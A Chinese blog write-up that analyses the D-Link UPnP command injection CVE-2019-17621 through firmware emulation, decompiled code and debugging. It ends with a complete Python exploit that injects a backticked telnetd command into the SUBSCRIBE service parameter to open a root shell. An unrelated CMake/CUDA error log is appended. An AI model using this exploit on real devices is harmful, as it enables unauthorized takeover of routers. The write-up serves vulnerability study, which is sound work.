DLink_RCE_CVE-2019-17621浅析

1. 漏洞信息

CVE - CVE-2019-17621 (mitre.org)

漏洞服务:UPnP

相关URL:/gena.cgi

描述:给UPnP服务发送构造好的HTTP SUBSCRIBE请求,实现root权限RCE。

固件下载链接

2. 固件分析

Firmadyne提取固件

$ sudo python3 ./sources/extractor/extractor.py -b DLink -sql 127.0.0.1 -np -nk ./DIR822A1_FW103WWb03.bin images/
$ ./scripts/getArch.sh ./images/1.tar.gz
./bin/busybox: mipseb
# 导入数据库
$ sudo python ./scripts/tar2db.py -i 1 -f ./images/1.tar.gz
# 制作qemu镜像
$ sudo ./scripts/makeImage.sh 1 mipseb
# 判断网络结构
$ sudo ./scripts/inferNetwork.sh 1 mipseb
...
Interfaces: [('br0', '192.168.0.1'), ('br1', '192.168.7.1')]
Done!
$ sudo ./scratch/1/run.sh

至此已经可以通过192.168.0.1访问路由器页面了,虚拟机也进入shel了l,只是一直在输出device ioctl:: Operation not supported。。。

因为qemu system模拟得不太完美,用qemu user来打一下辅助。

解压文件系统进行分析:

cd images
sudo mkdir 1
sudo tar -xf 1.tar.gz -C 1/
cd 1
# 把qemu user拷过来备用
sudo cp $(which qemu-mips-static) ./

大概浏览一下,关注到服务器目录htdocs目录下的cgibin可执行文件:

$ file htdocs/cgibin
htdocs/cgibin: ELF 32-bit MSB executable, MIPS, MIPS-I version 1 (SYSV), dynamically linked, interpreter /lib/ld-uClibc.so.0, stripped

运行一下:

$ sudo chroot . ./qemu-mips-static ./htdocs/cgibin ./htdocs/phpcgi
CGI.BIN, unknown command cgibin

报这个错是因为没有指定url参数:

.text:0040323C                 jalr    $t9 ; printf
.text:00403240                 li      $a0, format      # "CGI.BIN, unknown command %s\n"

用qemu -0指定即可:

sudo chroot . ./qemu-mips-static -0 "htdocs/phpcgi" /htdocs/cgibin

信息收集

$ sudo nmap -sV 192.168.0.1
...
Starting Nmap 7.60 ( https://nmap.org ) at 2022-04-19 19:06 CST
Nmap scan report for 192.168.0.1 (192.168.0.1)
Host is up (0.034s latency).
Not shown: 997 closed ports
PORT      STATE SERVICE   VERSION
80/tcp    open  http      WebServer
443/tcp   open  ssl/https WebServer
49152/tcp open  unknown

全局搜索一下49152,根据/etc/services/HTTP/httpsvcs.php可以判断这个端口和upnp协议有关:

function httpsetup($name)
{
    //...
    $upnp	= query($infp."/upnp/count");
	$dirty	= 0;
    $port	= "49152";
    //...
    /* Create the device description files */
	$vdir = "/var/htdocs/upnp/".$name;
    //...
    {
		startcmd("ln -s /htdocs/cgibin ".$vdir."/soap.cgi");
		startcmd("ln -s /htdocs/cgibin ".$vdir."/gena.cgi");
	}
    //...
}

在qemu里查看下端口,是httpd监听了这个端口:

# netstat -tnlp | grep 49152
tcp        0      0 192.168.0.1:49152       0.0.0.0:*               LISTEN      19269/httpd

UPnP协议

Universal Plug and Play

可参考这篇文章:UPnP协议利用 - 简书 (jianshu.com)

3. 漏洞分析

漏洞位于genacgi_main函数,在处理http subscribe请求时,会有如下逻辑:

// getenv("REQUEST_METHOD") == "SUBSCRIBE";
// getenv("REQUEST_URI") == "/gena.cgi?service=...";
// a1_service即service参数值
int __fastcall sub_40FCE0(const char *a1_service)
{
    //...
    v2_SERVER_ID = getenv("SERVER_ID");
    v3_HTTP_SID = getenv("HTTP_SID");
    v4_HTTP_CALLBACK = getenv("HTTP_CALLBACK");
    v5_HTTP_TIMEOUT = getenv("HTTP_TIMEOUT");
    v6_HTTP_NT = getenv("HTTP_NT");
    v7_REMOTE_ADDR = getenv("REMOTE_ADDR");
    //...
    if ( v3_HTTP_SID )
  	{
        //...
        return 0;
    }
    //...
    v17 = getpid();
    snprintf(
        v23_buf,
        0x200u,
        "%s\nMETHOD=SUBSCRIBE\nINF_UID=%s\nSERVICE=%s\nHOST=%s\nURI=/%s\nTIMEOUT=%d\nREMOTE=%s\nSHELL_FILE=%s/%s_%d.sh",
        "/htdocs/upnp/run.NOTIFY.php",
        v2_SERVER_ID,
        a1_service,
        v13 + 7,
        v16 + 1,
        v10,
        v7_REMOTE_ADDR,
        "/var/run",
        a1_service,
        v17);
    xmldbc_ephp(0, 0, v23_buf, (int)stdout);
    //...
}

看下/htdocs/upnp/run.NOTIFY.php逻辑:

<?
include "/htdocs/phplib/upnp/xnode.php";
include "/htdocs/upnpinc/gvar.php";
include "/htdocs/upnpinc/gena.php";

$gena_path = XNODE_getpathbytarget($G_GENA_NODEBASE, "inf", "uid", $INF_UID, 1);
$gena_path = $gena_path."/".$SERVICE;
GENA_subscribe_cleanup($gena_path);

/* IGD services */
if		($SERVICE == "L3Forwarding1")	$php = "NOTIFY.Layer3Forwarding.1.php";
else if ($SERVICE == "OSInfo1")			$php = "NOTIFY.OSInfo.1.php";
else if ($SERVICE == "WANCommonIFC1")	$php = "NOTIFY.WANCommonInterfaceConfig.1.php";
else if ($SERVICE == "WANEthLinkC1")	$php = "NOTIFY.WANEthernetLinkConfig.1.php";
else if ($SERVICE == "WANIPConn1")		$php = "NOTIFY.WANIPConnection.1.php";
/* WFA services */
else if ($SERVICE == "WFAWLANConfig1")	$php = "NOTIFY.WFAWLANConfig.1.php";


if ($METHOD == "SUBSCRIBE")
{
	if ($SID == "")		// 和反汇编不设置sid的逻辑一致
		GENA_subscribe_new($gena_path, $HOST, $REMOTE, $URI, $TIMEOUT, $SHELL_FILE, "/htdocs/upnp/".$php, $INF_UID);
	else
		GENA_subscribe_sid($gena_path, $SID,  $TIMEOUT);
}
else if ($METHOD == "UNSUBSCRIBE")
{
	GENA_unsubscribe($gena_path, $SID);
}
?>

问题出在GENA_subscribe_new内部,文件gena.php:

function GENA_subscribe_new($node_base, $host, $remote, $uri, $timeout, $shell_file, $target_php, $inf_uid)
{
    //...
	GENA_notify_init($shell_file, $target_php, $inf_uid, $host, $uri, $new_uuid);
}
function GENA_notify_init($shell_file, $target_php, $inf_uid, $host, $uri, $sid)
{
    //...
    fwrite(w, $shell_file,
		"#!/bin/sh\n".
		'echo "[$0] ..." > '.$upnpmsg."\n".
		"xmldbc -P ".$target_php.
			" -V INF_UID=".$inf_uid.
			" -V HDR_URL=".SECURITY_prevent_shell_inject($uri).
			" -V HDR_HOST=".SECURITY_prevent_shell_inject($host).
			" -V HDR_SID=".SECURITY_prevent_shell_inject($sid).
			" -V HDR_SEQ=0".
			" | httpc -i ".$phyinf." -d ".SECURITY_prevent_shell_inject($host)." -p TCP > ".$upnpmsg."\n"
	);
	fwrite(a, $shell_file, "rm -f ".$shell_file."\n");
}

变量shell_file来自于cgibin中的SHELL_FILE=%s/%s_%d.sh %(service, PID),其中service是url中的可控参数。php在最后加了句rm指令,用来删除自身。

如果将$shell_file写为用反引号包裹的系统命令(如后台开启telnetd),在脚本执行 rm 命令时因遇到 反引号而失败,继续执行引号里面的系统命令,就能出发RCE。

4. 调试

根据main的参数字符串比较,要想跳转到漏洞函数,需要设置几个环境变量(不是随便设置,需要通过sprintf之前的检查),并访问htdocs/gena.cgi:

# HTTP_SID=NULL
sudo chroot ./ ./qemu-mips-static \
-E REQUEST_METHOD="SUBSCRIBE" \
-E REQUEST_URI="SUBSCRIBE /gena.cgi?service=L3Forwarding1" \
-E SERVER_ID="server_id" \
-E HTTP_NT="upnp:event" \
-E HTTP_CALLBACK="<http://192.168.126.139:34033/ServiceProxy27>/" \
-E HTTP_TIMEOUT="Second-1800" \
-E REMOTE_ADDR="192.168.0.1" \
-E HTTP_COOKIE="aaaaaaaa" \
-E CONTENT_TYPE="application/x-www-form-urlencoded" \
-g 1234 -0 htdocs/gena.cgi /htdocs/cgibin 

在目标snprintf处下断点,成功断下:

.text:0040FEE4 addiu   $s1, $sp, 0x244+v23_buf	# buf存在s1里
...
.text:0040FF34 jalr    $t9 ; snprintf
.text:0040FF38 sw      $s0, 0x244+var_218($sp)
.text:0040FF3C move    $a2, $s1
.text:0040FF40 move    $a1, $zero
.text:0040FF44 lw      $gp, 0x244+var_20C($sp)
.text:0040FF48 lw      $a3, (stdout - 0x43E0FC)($s4)
.text:0040FF4C la      $t9, xmldbc_ephp
.text:0040FF50 jalr    $t9 ; xmldbc_ephp                # xmldbc_ephp(0,0, )

请添加图片描述

不过因为非系统级仿真,最终在connect时失败了。

5. Exp

#!/usr/bin/python3

# get shell
# 	sudo python3 exp.py 

import socket
import os
from time import sleep

def httpSUB(server, port, shell_file):
    print('\n[*] Connection {host}:{port}'.format(host=server, port=port))

    con = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    request  = "SUBSCRIBE /gena.cgi?service=" + str(shell_file) + " HTTP/1.0\n"
    request += "Host: " + str(server) + str(port) + "\n"
    request += "Callback: <http://192.168.0.4:34033/ServiceProxy27>\n"
    request += "NT: upnp:event\n"
    request += "Timeout: Second-1800\n"
    request += "Accept-Encoding: gzip, deflate\n"
    request += "User-Agent: gupnp-universal-cp GUPnP/1.0.2 DLNADOC/1.50\n\n"
    print('[*] Sending Payload')
    sleep(1)

    con.connect((socket.gethostbyname(server), port))
    con.send(request.encode())
    results = con.recv(4096)
    print('[*] Running Telnetd Service')
    sleep(2)

    print('[*] Opening Telnet Connection\n')
    os.system('telnet ' + str(server) + ' 9999')

serverInput = "192.168.0.1"
portInput = 49152
httpSUB(serverInput, portInput, '`telnetd -p 9999 &`')

执行后,就会连上目标的telnet,可以看下fwrite写的文件:

# ls -l var/run
...
-rw-rw-rw-    1 root     0             309 Jan  1 07:20 `telnetd -p 9999 &`_19982.sh

6. 参考资料

DLink RCE漏洞CVE-2019-17621分析 - FreeBuf网络安全行业门户

D-Link DIR-859 RCE漏洞(CVE-2019-17621)分析复现 (qq.com)

D-Link DIR-859的RCE漏洞(CVE-2019–17621)_NOSEC2019的博客-CSDN博客_sprintf漏洞

UPnP协议利用 - 简书 (jianshu.com)

printf(3) - Linux manual page (man7.org)

  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 2
    评论
CMake Warning: Ignoring extra path from command line: "../openMVS" -- Detected version of GNU GCC: 94 (904) Compiling with C++17 CMake Error at /home/xujx/.local/lib/python3.8/site-packages/cmake/data/share/cmake-3.26/Modules/CMakeDetermineCompilerId.cmake:751 (message): Compiling the CUDA compiler identification source file "CMakeCUDACompilerId.cu" failed. Compiler: /usr/bin/nvcc Build flags: Id flags: --keep;--keep-dir;tmp -v The output was: 255 #$ _SPACE_= #$ _CUDART_=cudart #$ _HERE_=/usr/lib/nvidia-cuda-toolkit/bin #$ _THERE_=/usr/lib/nvidia-cuda-toolkit/bin #$ _TARGET_SIZE_= #$ _TARGET_DIR_= #$ _TARGET_SIZE_=64 #$ NVVMIR_LIBRARY_DIR=/usr/lib/nvidia-cuda-toolkit/libdevice #$ PATH=/usr/lib/nvidia-cuda-toolkit/bin:/usr/local/cuda-11.8/bin:/home/xujx/anaconda3/bin:/home/xujx/anaconda3/condabin:/home/xujx/.local/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/snap/bin #$ LIBRARIES= -L/usr/lib/x86_64-linux-gnu/stubs -L/usr/lib/x86_64-linux-gnu #$ rm tmp/a_dlink.reg.c #$ gcc -D__CUDA_ARCH__=300 -E -x c++ -DCUDA_DOUBLE_MATH_FUNCTIONS -D__CUDACC__ -D__NVCC__ -D__CUDACC_VER_MAJOR__=10 -D__CUDACC_VER_MINOR__=1 -D__CUDACC_VER_BUILD__=243 -include "cuda_runtime.h" -m64 "CMakeCUDACompilerId.cu" > "tmp/CMakeCUDACompilerId.cpp1.ii" #$ cicc --c++14 --gnu_version=90400 --allow_managed -arch compute_30 -m64 -ftz=0 -prec_div=1 -prec_sqrt=1 -fmad=1 --include_file_name "CMakeCUDACompilerId.fatbin.c" -tused -nvvmir-library "/usr/lib/nvidia-cuda-toolkit/libdevice/libdevice.10.bc" --gen_module_id_file --module_id_file_name "tmp/CMakeCUDACompilerId.module_id" --orig_src_file_name "CMakeCUDACompilerId.cu" --gen_c_file_name "tmp/CMakeCUDACompilerId.cudafe1.c" --stub_file_name "tmp/CMakeCUDACompilerId.cudafe1.stub.c" --gen_device_file_name "tmp/CMakeCUDACompilerId.cudafe1.gpu" "tmp/CMakeCUDACompilerId.cpp1.ii" -o "tmp/CMakeCUDACompilerId.ptx" #$ ptxas -arch=sm_30 -m64 "tmp/CMakeCUDACompilerId.ptx" -o "tmp/CMakeCUDACompilerId.sm_30.cubin" ptxas fatal : Value 'sm_30' is not defined for option 'gpu-name' # --error 0xff -- Call Stack (most recent call first): /home/xujx/.local/lib/python3.8/site-packages/cmake/data/share/cmake-3.26/Modules/CMakeDetermineCompilerId.cmake:8 (CMAKE_DETERMINE_COMPILER_ID_BUILD) /home/xujx/.local/lib/python3.8/site-packages/cmake/data/share/cmake-3.26/Modules/CMakeDetermineCompilerId.cmake:53 (__determine_compiler_id_test) /home/xujx/.local/lib/python3.8/site-packages/cmake/data/share/cmake-3.26/Modules/CMakeDetermineCUDACompiler.cmake:307 (CMAKE_DETERMINE_COMPILER_ID) CMakeLists.txt:109 (ENABLE_LANGUAGE)是什么问题
07-08

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值